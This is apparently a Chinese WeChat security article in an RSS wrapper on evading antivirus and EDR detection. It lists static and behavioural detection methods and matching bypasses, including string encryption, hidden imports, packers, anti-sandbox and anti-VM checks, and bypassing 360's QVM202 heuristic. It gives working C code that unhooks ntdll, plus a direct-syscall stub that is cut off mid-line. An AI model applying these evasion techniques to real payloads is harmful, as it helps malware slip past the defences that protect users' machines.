<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=717afccf&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0MDM3NjcxMg%3D%3D%26mid%3D2247483740%26idx%3D1%26sn%3D56f93770972dc6fcce3147d0bd3d62d2%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 09 Jan 2024 01:23:00 +0800</pubDate>
    </item>
    <item>
      <title>Defense Evasion(防御规避)</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0MDM3NjcxMg==&amp;mid=2247483668&amp;idx=1&amp;sn=c310157df4f9f3e335f42200895df62d</link>
      <description>终端对抗向的技巧型文章。</description>
      <content:encoded><![CDATA[<p>
原创 <span>鬼屋女鬼</span> <span>2023-11-07 16:03</span> <span style="display: inline-block;">江苏</span>
</p>

<p>终端对抗向的技巧型文章。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=0770d70c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Ffz2w0o92Q2T7esBWe1vpZuK6oZq4NzXGwPJZHV20FqQs13WKgfWicms6KWyGc2h863SvlL1YwYribcO7uQzUVBcA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><br/></p><section style="max-width: 100%;box-sizing: border-box;color: rgb(62, 62, 62);font-size: 16px;white-space: normal;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;margin-bottom: 0px;"><section powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;word-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;word-wrap: break-word !important;"><section style="padding-right: 10px;padding-left: 10px;max-width: 100%;box-sizing: border-box;line-height: 1.6;word-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;word-wrap: break-word !important;"><section powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;word-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;word-wrap: break-word !important;"><section style="padding-right: 30px;padding-left: 30px;max-width: 100%;box-sizing: border-box;line-height: 1.6;word-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;word-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(136, 136, 136);font-size: 20px;box-sizing: border-box !important;word-wrap: break-word !important;">“</span></strong><span style="max-width: 100%;color: rgb(136, 136, 136);box-sizing: border-box !important;word-wrap: break-word !important;"> 终端对抗向技巧型文章，闭门沙龙精华提炼版。<strong style="max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 20px;box-sizing: border-box !important;word-wrap: break-word !important;">”</span></strong></span><br style="max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;"/></p></section></section></section></section><section style="max-width: 100%;box-sizing: border-box;word-wrap: break-word !important;"><section powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;word-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;word-wrap: break-word !important;"><section style="padding-right: 22px;padding-left: 22px;max-width: 100%;box-sizing: border-box;line-height: 1.6;word-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;word-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;"/></p><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;word-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;"/></p></section></section></section></section><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;word-wrap: break-word !important;"><br/></p></section></section></section></section><hr style="box-sizing: content-box;"/><h2 cid="n3" mdtype="heading"><span style="font-size: 24px;">0x00 前言</span></h2><p cid="n280" mdtype="paragraph"><span md-inline="plain" style=";">终端对抗向的技巧型文章，欢迎留言与笔者沟通交流！</span></p><h2 cid="n4" mdtype="heading"><span style="font-size: 24px;">0x01 Static Analysis Evasion(静态文件规避)</span></h2><h3 cid="n5" mdtype="heading"><span md-inline="plain" style=";">一、检测机制</span></h3><ul class="list-paddingleft-1" cid="n6" mdtype="list" data-mark="*" style=";"><li style=";"><p cid="n8" mdtype="paragraph"><span md-inline="plain" style=";">基于签名的检测：文件hash、特征码、文件名、图标</span></p></li><li style=";"><p cid="n10" mdtype="paragraph"><span md-inline="plain" style=";">启发式查杀：导入导出表、API调用链</span></p></li><li style=";"><p cid="n12" mdtype="paragraph"><span md-inline="plain" style=";">文件熵分析：文件中字节的熵</span></p></li><li style=";"><p cid="n14" mdtype="paragraph"><span md-inline="plain" style=";">元数据分析：编译器、时间戳、数字签名</span></p></li><li style=";"><p cid="n16" mdtype="paragraph"><span md-inline="plain" style=";">PE节表：PE文件中异常节</span></p></li><li style=";"><p cid="n18" mdtype="paragraph"><span md-inline="plain" style=";">机器学习：例如常见的QVM HEUR 202</span></p></li></ul><p cid="n18" mdtype="paragraph"><br/></p><h3 cid="n19" mdtype="heading"><span md-inline="plain" style=";">二、规避技巧</span></h3><ul class="list-paddingleft-1" cid="n20" mdtype="list" data-mark="*" style=";"><li style=";"><p cid="n22" mdtype="paragraph"><span md-inline="plain" style=";">加密/压缩：使用自实现加密算法</span></p></li><ul class="list-paddingleft-1" cid="n26" mdtype="list" data-mark="*" style="list-style-type: square;"><li style=";"><p cid="n28" mdtype="paragraph"><span md-inline="plain" style=";">常规方法：</span></p></li><li style=";"><p cid="n31" mdtype="paragraph"><span md-inline="plain" style=";">XOR</span></p></li><li style=";"><p cid="n33" mdtype="paragraph"><span md-inline="plain" style=";">Base64</span></p></li><li style=";"><p cid="n35" mdtype="paragraph"><span md-inline="plain" style=";">AES</span></p></li><li style=";"><p cid="n37" mdtype="paragraph"><span md-inline="plain" style=";">RC4</span></p></li><li style=";"><p cid="n25" mdtype="paragraph"><span md-inline="plain" style=";">针对shellcode的检测</span></p><p cid="n25" mdtype="paragraph"><span md-inline="plain" style=";"></span></p></li></ul><li style=";"><p cid="n39" mdtype="paragraph"><span md-inline="plain" style=";">代码混淆：混淆源代码（llvm+pass、ollvm）</span></p></li><ul class="list-paddingleft-1" cid="n48" mdtype="list" data-mark="*" style="list-style-type: square;"><li style=";"><p cid="n50" mdtype="paragraph"><span md-inline="plain" style=";">控制流平坦化</span></p></li><li style=";"><p cid="n52" mdtype="paragraph"><span md-inline="plain" style=";">虚假控制流</span></p></li><li style=";"><p cid="n54" mdtype="paragraph"><span md-inline="plain" style=";">指定替换</span></p></li><li style=";"><p cid="n45" mdtype="paragraph"><span md-inline="plain" style=";">Pass插件</span></p></li><li style=";"><p cid="n42" mdtype="paragraph"><span md-inline="plain" style=";">LLVM 混淆</span></p></li><li style=";"><p cid="n47" mdtype="paragraph"><span md-inline="plain" style=";">OLLVM 混淆</span></p><p cid="n47" mdtype="paragraph"><span md-inline="plain" style=";"></span></p></li></ul><li style=";"><p cid="n56" mdtype="paragraph"><span md-inline="plain" style=";">字符串加密：避免基于字符串的检测</span></p></li><ul class="list-paddingleft-1" cid="n57" mdtype="list" data-mark="*" style="list-style-type: square;"><li style=";"><p cid="n59" mdtype="paragraph"><span md-inline="plain" style=";">利用C++模板：constexpr 编译时间字符串加密</span></p><p cid="n60" mdtype="paragraph"><span md-inline="plain" style=";">示例代码：</span></p></li></ul><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">template</span>&lt;<span class="code-snippet__keyword">size_t</span> size&gt;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">constexpr</span> <span class="code-snippet__keyword">auto</span> <span class="code-snippet__title">obfuscate</span><span class="code-snippet__params">(<span class="code-snippet__keyword">const</span> <span class="code-snippet__keyword">char</span> plaintext[size])</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">        MetaString&lt;size&gt; obfuscated;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">size_t</span> i = <span class="code-snippet__number">0</span>; i &lt; size - <span class="code-snippet__number">1</span>; i++)</span></code><code><span class="code-snippet_outer">            obfuscated.buff[i] = plaintext[i] ^ key[i % <span class="code-snippet__keyword">sizeof</span>(key)];</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        obfuscated.buff[size - <span class="code-snippet__number">1</span>] = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> obfuscated;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">define</span> ENCODE(x) []() { constexpr auto encoded = obfstr::obfuscate<span class="code-snippet__meta-string">&lt;sizeof(x)&gt;(x); return encoded; }()</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">define</span> OBFSTR(x) ENCODE(x).deobfuscate()</span></span></code></pre></section><p cid="n60" mdtype="paragraph"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">效果如下：</span></p><p cid="n62" mdtype="paragraph"><span md-inline="plain" style=";"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.1092184368737475" data-s="300,640" style="" data-type="png" data-w="998" src="https://wechat2rss.xlab.app/img-proxy/?k=e6d8b1ac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2T7esBWe1vpZuK6oZq4NzXGbhSQDeRwo0DiaqfnHoVXicicNoTkbV3PxQMZE0mpnDibR9BwEtcxrn9R2w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><br/></p><p cid="n63" mdtype="paragraph"><span md-inline="image" data-src="./字符串加密.png" style=";"></span></p><li style=";"><p cid="n65" mdtype="paragraph"><span md-inline="plain" style=";">动态加载windows api：隐藏导入表</span></p><p cid="n65" mdtype="paragraph"><span md-inline="plain" style=";"></span></p><p cid="n66" mdtype="paragraph"><span md-inline="plain" style=";">使用</span></p><p cid="n66" mdtype="paragraph"><span md-inline="plain" style=";">GetProcAddress()</span></p><p cid="n66" mdtype="paragraph"><span md-inline="plain" style=";">GetModuleHandle()</span></p><p cid="n66" mdtype="paragraph"><span md-inline="plain" style=";">动态获取windows API，隐藏导入表</span></p><p cid="n67" mdtype="paragraph"><span md-inline="plain" style=";">示例代码：</span></p></li></ul><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">typedef</span> <span class="code-snippet__string">int(WINAPI* pMessageBoxW)(</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">HWND</span>    <span class="code-snippet__string">hWnd,</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">LPCTSTR</span> <span class="code-snippet__string">lpText,</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">LPCTSTR</span> <span class="code-snippet__string">lpCaption,</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">UINT</span>    <span class="code-snippet__string">uType</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">);</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">int</span> <span class="code-snippet__string">main()</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">{</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">pMessageBoxW</span> <span class="code-snippet__string">MyMessageBox = (pMessageBoxW)GetProcAddress(GetModuleHandle(L&#34;USER32.dll&#34;), &#34;MessageBoxA&#34;);</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__meta">MyMessageBox(0,</span> <span class="code-snippet__string">0, 0, 0);</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">return</span> <span class="code-snippet__string">0;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">}</span></span></code></pre></section><ul class="list-paddingleft-1" cid="n20" mdtype="list" data-mark="*" style=";"><li style=";"><p cid="n67" mdtype="paragraph"><span md-inline="plain" style=";"></span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">效果如下：</span></p><p><br/></p></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.18574766355140188" data-s="300,640" style="" data-type="png" data-w="856" src="https://wechat2rss.xlab.app/img-proxy/?k=9ece8f98&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2T7esBWe1vpZuK6oZq4NzXGfTBohjtbkQYOC0ZBm1iadvmRKZWZSG56icjv1KfTXBeMoXrvoe13tsXw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><span style="orphans: 4;white-space-collapse: preserve;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;text-align: justify;"></span></p><p cid="n70" mdtype="paragraph"><span md-inline="image" data-src="./动态调用.png" style=";"></span></p><ul class="list-paddingleft-1" cid="n20" mdtype="list" data-mark="*" style=";"><li style=";"><p cid="n72" mdtype="paragraph"><span md-inline="plain" style=";">降低文件熵</span></p></li><ul class="list-paddingleft-1" cid="n73" mdtype="list" data-mark="*" style="list-style-type: square;"><li style=";"><p cid="n75" mdtype="paragraph"><span md-inline="plain" style=";">shellcode 转 English words</span></p></li><li style=";"><p cid="n77" mdtype="paragraph"><span md-inline="plain" style=";">MAC、IPV4、IPV6、UUID编码</span></p></li><li style=";"><p cid="n79" mdtype="paragraph"><span md-inline="plain" style=";">分离加载（远程拉取或突破隐写）</span></p></li><li style=";"><p cid="n81" mdtype="paragraph"><span md-inline="plain" style=";">添加大资源文件</span></p><p cid="n81" mdtype="paragraph"><span md-inline="plain" style=";"></span></p></li></ul><li style=";"><p cid="n83" mdtype="paragraph"><span md-inline="plain" style=";">加壳：自写壳、商业壳</span></p></li><ul class="list-paddingleft-1" cid="n84" mdtype="list" data-mark="*" style="list-style-type: square;"><li style=";"><p cid="n86" mdtype="paragraph"><span md-inline="plain" style=";">UPX</span></p></li><li style=";"><p cid="n88" mdtype="paragraph"><span md-inline="plain" style=";">VMProtect</span></p></li><li style=";"><p cid="n90" mdtype="paragraph"><span md-inline="plain" style=";">Shielden</span></p></li><li style=";"><p cid="n92" mdtype="paragraph"><span md-inline="plain" style=";">Themida</span></p></li><li style=";"><p cid="n94" mdtype="paragraph"><span md-inline="plain" style=";">ASPack</span></p></li><li style=";"><p cid="n96" mdtype="paragraph"><span md-inline="plain" style=";">Enigma Protector</span></p><p cid="n96" mdtype="paragraph"><span md-inline="plain" style=";"></span></p></li></ul><li style=";"><p cid="n98" mdtype="paragraph"><span md-inline="plain" style=";">模拟正常文件：签名、文件名、图标、属性信息、资源</span></p><p cid="n99" mdtype="paragraph"><span md-inline="plain" style=";">给Exe或Dll添加签名、图标、版本属性信息、图片、对话框等资源文件，使文件看起来更加合法，以规避启发式查杀</span></p><p cid="n100" mdtype="paragraph"><span md-inline="plain" style=";">以360为例，常规我们编译出来的文件经常爆QVM202，但是当我们添加资源文件后，我们即可绕过QVM202</span></p></li></ul><p cid="n100" mdtype="paragraph"><span style="font-family: monospace;font-size: var(--articleFontsize);letter-spacing: 0.034em;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7080062794348508" data-s="300,640" style="" data-type="png" data-w="637" src="https://wechat2rss.xlab.app/img-proxy/?k=d10ae571&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2T7esBWe1vpZuK6oZq4NzXGNmEn68cJChh2WRhBPUZX9IInw8fckLfs8Vzdt3IqjhT6BfEQ2XQNpw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><br/></p><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.754180602006689" data-s="300,640" style="" data-type="png" data-w="598" src="https://wechat2rss.xlab.app/img-proxy/?k=a97688dc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2T7esBWe1vpZuK6oZq4NzXGL3EEsAoH25Im5ibBTMGcMdEmkWPEG1NSJEGXTACgQ3MdwmkIPhcMtkQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p cid="n102" mdtype="paragraph"><span md-inline="image" data-src="./qvm2.png" style=";"></span></p><ul class="list-paddingleft-1" cid="n20" mdtype="list" data-mark="*" style=";"><li style=";"><p cid="n104" mdtype="paragraph"><span md-inline="plain" style=";">动态生成</span></p></li><ul class="list-paddingleft-1" cid="n105" mdtype="list" data-mark="*" style="list-style-type: square;"><li style=";"><p cid="n107" mdtype="paragraph"><span md-inline="plain" style=";">动态生成加密key</span></p></li><li style=";"><p cid="n109" mdtype="paragraph"><span md-inline="plain" style=";">动态编译生成文件</span></p></li><li style=";"><p cid="n111" mdtype="paragraph"><span md-inline="plain" style=";">......</span></p><p cid="n111" mdtype="paragraph"><span md-inline="plain" style=";"></span></p></li></ul></ul><h2 cid="n112" mdtype="heading"><span style="font-size: 24px;">0x02 Dynamic Behavioral Evasion (动态行为规避)</span></h2><h3 cid="n113" mdtype="heading"><span md-inline="plain" style=";">一、检测机制</span></h3><ul class="list-paddingleft-1" cid="n114" mdtype="list" data-mark="*" style=";"><li style=";"><p cid="n116" mdtype="paragraph"><span md-inline="plain" style=";">Sandbox：沙箱运行观察判断行为是否恶意</span></p></li><li style=";"><p cid="n118" mdtype="paragraph"><span md-inline="plain" style=";">子进程/线程创建：例如监控Cmd.exe、Powershell.exe</span></p></li><li style=";"><p cid="n120" mdtype="paragraph"><span md-inline="plain" style=";">敏感高危操作：修改注册表、添加用户、添加系统服务、添加计划任务、提权、获取凭证、截图等等….</span></p></li><li style=";"><p cid="n122" mdtype="paragraph"><span md-inline="plain" style=";">敏感目录读写：注册表、自启动目录</span></p></li><li style=";"><p cid="n124" mdtype="paragraph"><span md-inline="plain" style=";">进程链检测：监控父子进程间关系判断是否异常，例如word.exe—powershell.exe</span></p></li><li style=";"><p cid="n126" mdtype="paragraph"><span md-inline="plain" style=";">代码注入检测：例如远程线程注入、DLL注入等等</span></p></li><li style=";"><p cid="n128" mdtype="paragraph"><span md-inline="plain" style=";">网络通信：监控网络流量，分析可能的C2流量</span></p></li><li style=";"><p cid="n130" mdtype="paragraph"><span md-inline="plain" style=";">API调用：Hook 常见 Windows API</span></p></li></ul><p cid="n130" mdtype="paragraph"><br/></p><h3 cid="n131" mdtype="heading"><span md-inline="plain" style=";">二、规避技巧</span></h3><ul class="list-paddingleft-1" cid="n132" mdtype="list" data-mark="*" style=";"><li style=";"><p cid="n134" mdtype="paragraph"><span md-inline="plain" style=";">Anti sandbox：反沙箱</span></p></li><ul class="list-paddingleft-1" cid="n135" mdtype="list" data-mark="*" style="list-style-type: square;"><li style=";"><p cid="n137" mdtype="paragraph"><span md-inline="plain" style=";">使用质数运算延迟执行</span></p></li><li style=";"><p cid="n139" mdtype="paragraph"><span md-inline="plain" style=";">检测系统开机时间是否大于某个设定值</span></p></li><li style=";"><p cid="n141" mdtype="paragraph"><span md-inline="plain" style=";">检测物理内存是否大于4G</span></p></li><li style=";"><p cid="n143" mdtype="paragraph"><span md-inline="plain" style=";">检测CPU核心数是否大于4</span></p></li><li style=";"><p cid="n145" mdtype="paragraph"><span md-inline="plain" style=";">检测文件名是否修改</span></p></li><li style=";"><p cid="n147" mdtype="paragraph"><span md-inline="plain" style=";">检测磁盘大小是否大于100G</span></p></li><li style=";"><p cid="n149" mdtype="paragraph"><span md-inline="plain" style=";">判断是否有参数代入</span></p><p cid="n149" mdtype="paragraph"><span md-inline="plain" style=";"></span></p></li></ul><li style=";"><p cid="n151" mdtype="paragraph"><span md-inline="plain" style=";">Anti VM：反虚拟机</span></p></li><ul class="list-paddingleft-1" cid="n152" mdtype="list" data-mark="*" style="list-style-type: square;"><li style=";"><p cid="n154" mdtype="paragraph"><span md-inline="plain" style=";">检测进程名</span></p></li><li style=";"><p cid="n156" mdtype="paragraph"><span md-inline="plain" style=";">检测注册表</span></p></li><li style=";"><p cid="n158" mdtype="paragraph"><span md-inline="plain" style=";">检测磁盘中文件</span></p><p cid="n158" mdtype="paragraph"><span md-inline="plain" style=";"></span></p><p cid="n159" mdtype="paragraph"><span md-inline="plain" style=";">如图：</span></p><p cid="n159" mdtype="paragraph"><span md-inline="plain" style=";"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.0204918032786885" data-s="300,640" style="" data-type="png" data-w="732" src="https://wechat2rss.xlab.app/img-proxy/?k=2dea7d59&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2T7esBWe1vpZuK6oZq4NzXGYVyQSuJhgph5xgCfftKXCSLmyGxqOpbxBPDFn1G9tA70hAjJQ5pwAw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><br/></p><p cid="n160" mdtype="paragraph"><br/></p></li></ul><li style=";"><p cid="n162" mdtype="paragraph"><span md-inline="plain" style=";">Unhook：从磁盘加载ntdll</span></p></li><p cid="n165" mdtype="paragraph"><span md-inline="plain" style=";">通过读取磁盘上ntdll.dll的.text节，覆盖内存当中的ntdll.dll的.text节，达到脱钩的效果</span></p><p cid="n165" mdtype="paragraph"><span md-inline="plain" style=";"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5356643356643357" data-s="300,640" style="" data-type="png" data-w="715" src="https://wechat2rss.xlab.app/img-proxy/?k=da8da73a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2T7esBWe1vpZuK6oZq4NzXGXbEPYCichloibgDLDZxVFx2I8P6d0ARPoZywcASqOLju2PGOFX9fpVdg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><br/><p><br/></p><p cid="n166" mdtype="paragraph"><br/></p><p cid="n167" mdtype="paragraph"><span md-inline="plain" style=";">示例代码：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer">  HANDLE process = GetCurrentProcess();</span></code><code><span class="code-snippet_outer">  MODULEINFO mi = {};</span></code><code><span class="code-snippet_outer">  HMODULE ntdllModule = GetModuleHandleA(<span class="code-snippet__string">&#34;ntdll.dll&#34;</span>);</span></code><code><span class="code-snippet_outer">  </span></code><code><span class="code-snippet_outer">  GetModuleInformation(process, ntdllModule, &amp;mi, sizeof(mi));</span></code><code><span class="code-snippet_outer">  LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;</span></code><code><span class="code-snippet_outer">  HANDLE ntdllFile = CreateFileA(<span class="code-snippet__string">&#34;c:\\windows\\system32\\ntdll.dll&#34;</span>, GENERIC_READ, FILE_SHARE_READ, <span class="code-snippet__keyword">NULL</span>, OPEN_EXISTING, <span class="code-snippet__number">0</span>, <span class="code-snippet__keyword">NULL</span>);</span></code><code><span class="code-snippet_outer">  HANDLE ntdllMapping = CreateFileMapping(ntdllFile, <span class="code-snippet__keyword">NULL</span>, PAGE_READONLY | SEC_IMAGE, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__keyword">NULL</span>);</span></code><code><span class="code-snippet_outer">  LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;</span></code><code><span class="code-snippet_outer">  PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader-&gt;e_lfanew);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">for</span> (WORD i = <span class="code-snippet__number">0</span>; i &lt; hookedNtHeader-&gt;FileHeader.NumberOfSections; i++) {</span></code><code><span class="code-snippet_outer">    PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (!strcmp((char*)hookedSectionHeader-&gt;Name, (char*)<span class="code-snippet__string">&#34;.text&#34;</span>)) {</span></code><code><span class="code-snippet_outer">      DWORD oldProtection = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">      bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader-&gt;VirtualAddress), hookedSectionHeader-&gt;Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &amp;oldProtection);</span></code><code><span class="code-snippet_outer">      memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader-&gt;VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader-&gt;VirtualAddress), hookedSectionHeader-&gt;Misc.VirtualSize);</span></code><code><span class="code-snippet_outer">      isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader-&gt;VirtualAddress), hookedSectionHeader-&gt;Misc.VirtualSize, oldProtection, &amp;oldProtection);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  </span></code><code><span class="code-snippet_outer">  CloseHandle(process);</span></code><code><span class="code-snippet_outer">  CloseHandle(ntdllFile);</span></code><code><span class="code-snippet_outer">  CloseHandle(ntdllMapping);</span></code><code><span class="code-snippet_outer">  FreeLibrary(ntdllModule);</span></code><code><span class="code-snippet_outer">  </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span>;</span></code></pre></section><pre spellcheck="false" lang="c++" cid="n168" mdtype="fences"><span role="presentation" style=";"></span></pre><li style=";"><p cid="n170" mdtype="paragraph"><span md-inline="plain" style=";">Syscall：Direct syscall、Indirect syscall</span></p></li><ul class="list-paddingleft-1" cid="n171" mdtype="list" data-mark="*" style="list-style-type: square;"><li style=";"><p cid="n173" mdtype="paragraph"><span md-inline="plain" style=";">Direct syscall</span></p><p cid="n174" mdtype="paragraph"><span md-inline="plain" style=";">示例代码：</span></p><p cid="n174" mdtype="paragraph"><span md-inline="plain" style=";"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">NtAllocateVirtualMemory</span> <span class="code-snippet__string">PROC</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">mov</span> <span class="code-snippet__string">r10, rcx                                     </span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">mov</span> <span class="code-snippet__string">eax, wNtAllocateVirtualMemory               </span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">syscall</span>                                         <span class="code-snippet__string"></span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">ret</span>                                             <span class="code-snippet__string"></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">NtAllocateVirtualMemory</span> <span class="code-snippet__string">ENDP                        </span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">UINT_PTR</span> <span class="code-snippet__string">pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, &#34;NtAllocateVirtualMemory&#34;);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">wNtAllocateVirtualMemory</span> = <span class="code-snippet__string">((unsigned char*)(pNtAllocateVirtualMemory + 